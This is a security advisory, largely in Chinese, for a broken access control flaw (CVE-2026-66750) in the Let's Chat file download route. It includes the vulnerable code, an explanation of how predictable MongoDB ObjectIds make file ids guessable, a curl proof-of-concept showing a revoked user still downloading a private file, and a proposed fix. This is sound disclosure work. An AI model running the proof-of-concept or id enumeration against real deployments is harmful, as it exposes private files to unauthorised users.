
Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat)
分配的 CVE 编号: CVE-2026-66750
GET /files/:id/:name 会检查调用者是否已登录,然后提供该文件。它从不检查调用者是否有权查看该文件所属的房间。
因此,任何账户都可以读取其未加入的私有房间和密码保护房间中的附件,而已被撤销房间访问权限的用户仍可继续使用其拥有访问权限期间上传的所有文件的有效下载链接。
同一控制器中的文件列表端点确实会检查成员资格,而下载端点缺少的正是这一检查。
仓库 URL:https://github.com/sdelements/lets-chat
从 0.3.0(提交 55e8833,2015 年 1 月 24 日,"Files backend")到 0.4.8(最终版本)均受影响。不存在已修复版本。
私有房间和密码保护房间于 0.4.0 引入,因此该漏洞所跨越的机密性边界从 0.4.0 起存在。
需要 files.enable: true,该配置在 defaults.yml 中默认关闭,但在许多部署中为开启状态,因为文件共享是一项有文档说明的功能。
已在 0.4.8(提交 617207f)以及 docker.io/sdelements/lets-chat:latest(0.4.7)上确认。
CWE-639:通过用户控制的密钥绕过授权。同时涉及 CWE-862,缺少授权。
CVSS 4.0 基础评分 5.3(中危)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
攻击者只需要一个普通用户账户、对 HTTP 端口的网络访问权限,以及一个文件的 ObjectId。默认情况下启用自助注册。
实际上,该 id 并非秘密。任何曾是该房间成员的人都已经拥有它,因为 files:list 以及上传时发布的 upload://files/<id>/<name> 消息都会将其分发出去。移除访问权限并不会使其失效,而且该 URL 没有过期时间或签名。
对于在目标房间中没有历史的攻击者来说,id 必须通过猜测得到。它是 MongoDB ObjectId,而非 UUID,其中几乎没有任何部分是不可预测的:
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 字节计数器,每个文档递增 1
| | +--------- 2 字节进程 ID
| +--------------- 3 字节机器 ID,在进程生命周期内固定
+----------------------- 4 字节 Unix 时间戳,秒级精度
除计数器外,其余部分在服务器进程的整个生命周期内都是恒定的,而计数器是由所有集合共享的单一序列。因此,攻击者只需上传一个自己的文件,就能获知机器 ID、进程 ID 和当前计数器位置,而其他任何人上传的每个文件都位于该序列中不远处。在 sdelements/lets-chat:latest 上连续八次上传:
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
下载路由仅应用了 requireLogin,别无其他。
app/controllers/files.js:59-92:
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
file.room 已被加载,却从未被使用。
同一功能中的列表路径确实会以成员资格为门槛。
app/core/files.js:156-175:
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
因此,应用程序已经具备了所需的检查(Room.canJoin,定义于 app/models/room.js:130);只是下载路由没有调用它。
需要 files.enable: true 和 rooms.private: true
(LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true)。
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
对于从未加入过该房间的账户,只要拥有文件 id,结果同样成立。
私有房间和密码保护房间中的附件可被服务器上任何持有或能够推导出文件 id 的账户读取。将某人从私有房间移除,或更改房间密码,都无法切断其对已上传文件的访问权限,归档房间同样如此。
加载房间并复用 files:list 已执行的检查。在 app/controllers/files.js:62 的 if (!file) 守卫之后:
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});
对未经授权的 id 返回 404 而非 403,可避免确认该文件是否存在。